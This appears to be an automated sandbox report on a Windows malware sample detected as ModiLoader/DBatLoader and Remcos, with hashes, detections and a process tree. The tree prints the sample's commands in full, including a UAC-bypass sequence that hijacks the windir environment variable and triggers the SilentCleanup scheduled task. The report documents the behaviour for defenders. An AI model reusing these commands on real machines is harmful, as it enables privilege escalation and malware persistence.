Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    19-07-2020 09:16

General

  • Target

    0333d66ed3a4f516e75c4f17dc333c7a.exe

  • Size

    752KB

  • MD5

    0333d66ed3a4f516e75c4f17dc333c7a

  • SHA1

    ec1302c115c1050bc0f58768f5fecd45783d9f6d

  • SHA256

    2e1b3dec1609efaee181ea5c2865ace9ac7be4b5ee8420a71ef9fff500440377

  • SHA512

    b88e3948f6abce5a883109173a163406884dd137ead0c4e48d75b2ea4f3ec419582d74dff7d4bdbb250108660aadf2b4c3063ec747f150535a339e323ffcfc5f

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ServiceHost packer 123 IoCs

    Detects ServiceHost packer used for .NET malware

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Suspicious use of WriteProcessMemory 513 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0333d66ed3a4f516e75c4f17dc333c7a.exe
    "C:\Users\Admin\AppData\Local\Temp\0333d66ed3a4f516e75c4f17dc333c7a.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\SysWOW64\TapiUnattend.exe
      "C:\Windows\System32\TapiUnattend.exe"
      2⤵
        PID:3784
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
          3⤵
            PID:1232
            • C:\Windows\SysWOW64\reg.exe
              reg delete hkcu\Environment /v windir /f
              4⤵
              • Modifies registry key
              PID:2596
            • C:\Windows\SysWOW64\reg.exe
              reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
              4⤵
              • Modifies registry key
              PID:1796
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              4⤵
                PID:1452
              • C:\Windows\SysWOW64\reg.exe
                reg delete hkcu\Environment /v windir /f
                4⤵
                • Modifies registry key
                PID:3628
          • C:\Program Files (x86)\internet explorer\ieinstal.exe
            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
            2⤵
              PID:3932

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2976-124-0x0000000050480000-0x00000000504C0000-memory.dmp

            Filesize

            256KB

          • memory/3932-127-0x0000000000400000-0x0000000000417000-memory.dmp

            Filesize

            92KB

          • memory/3932-129-0x0000000000400000-0x0000000000417000-memory.dmp

            Filesize

            92KB